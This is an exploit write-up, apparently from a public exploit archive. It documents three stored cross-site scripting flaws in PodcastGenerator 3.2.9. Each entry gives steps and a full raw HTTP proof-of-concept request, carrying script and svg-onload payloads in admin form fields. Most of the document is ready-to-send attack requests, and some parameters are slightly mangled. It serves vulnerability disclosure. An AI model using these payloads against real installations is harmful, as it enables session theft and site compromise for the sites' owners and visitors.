#Exploit Title: PodcastGenerator 3.2.9 - Multiple Stored Cross-Site Scripting (XSS) #Application: PodcastGenerator #Version: v3.2.9 #Bugs: Stored Xss #Technology: PHP #Vendor URL: https://podcastgenerator.net/ #Software Link: https://github.com/PodcastGenerator/PodcastGenerator #Date of found: 14-05-2023 #Author: Mirabbas Ağalarov #Tested on: Linux 2. Technical Details & POC ======================================== steps: #########XSS -1############## 1.go to 'Episodes' then 'Upload New Episodes'(http://localhost/PodcastGenerator/admin/episodes_upload.php) 2.set title section as 3.And go to 'View All Episoded'(http://localhost/PodcastGenerator/admin/episodes_list.php) payload: poc- request: POST /PodcastGenerator/admin/episodes_upload.php HTTP/1.1 Host: localhost Content-Length: 8307 Cache-Control: max-age=0 sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3NXAbhxohxCgUFNi User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/PodcastGenerator/admin/episodes_upload.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b8oeamte4ebbhtu52dgnsrkljn Connection: close ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="file"; filename="2023-05-13_2_images.jpeg" Content-Type: image/jpeg image content asdfasdfasdfasdfasdfasdfasdfa ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="title" ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="shortdesc" fffff ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="date" 2023-05-14 ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="time" 11:05 ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="episodecover"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="longdesc" ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="episodenum" ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="seasonnum" ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="itunesKeywords" ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="explicit" yes ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="authorname" ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="authoremail" ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="customtags" ------WebKitFormBoundary3NXAbhxohxCgUFNi Content-Disposition: form-data; name="token" 6GnmEMNnhFfyNeTRciGsh8p4R4djazh8 ------WebKitFormBoundary3NXAbhxohxCgUFNi-- #########XSS -2############## 1.go to "Themes and aspect" then "Customize your Freebox" (http://localhost/PodcastGenerator/admin/theme_freebox.php) 2. set Freebox content as 3.go to home page (http://localhost/PodcastGenerator/) payload: poc Request: POST /PodcastGenerator/admin/theme_freebox.php?change=1 HTTP/1.1 Host: localhost Content-Length: 96 Cache-Control: max-age=0 sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/PodcastGenerator/admin/theme_freebox.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b8oeamte4ebbhtu52dgnsrkljn Connection: close content=%3Cscript%3Ealert%28%22XSS-2%22%29%3C%2Fscript%3E&token=6GnmEMNnhFfyNeTRciGsh8p4R4djazh8 #########XSS -3############## 1. go to "Podcast Details" then "Change Podcast Details" (http://localhost/PodcastGenerator/admin/podcast_details.php) 2. set "Podcast tile " as 3.go to home page (http://localhost/PodcastGenerator/) payload: poc-request: POST /PodcastGenerator/admin/podcast_details.php?edit=1 HTTP/1.1 Host: localhost Content-Length: 300 Cache-Control: max-age=0 sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/PodcastGenerator/admin/podcast_details.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b8oeamte4ebbhtu52dgnsrkljn Connection: close podcast_title=%3Csvg%2Fonload%3Dprompt%28%22XSS-3%22%29%3E&podcast_subtitle=dd&podcast_description=dd©right=dd&author_name=Podcast+Generator+UserP&author_email=podcastgenerator%40example.com&podcast_guid=&feed_language=en&explicit_podcast=yes&feed_locked=no&token=xVrlAT6NG2ZrbGanycblGYoOOIitXXKC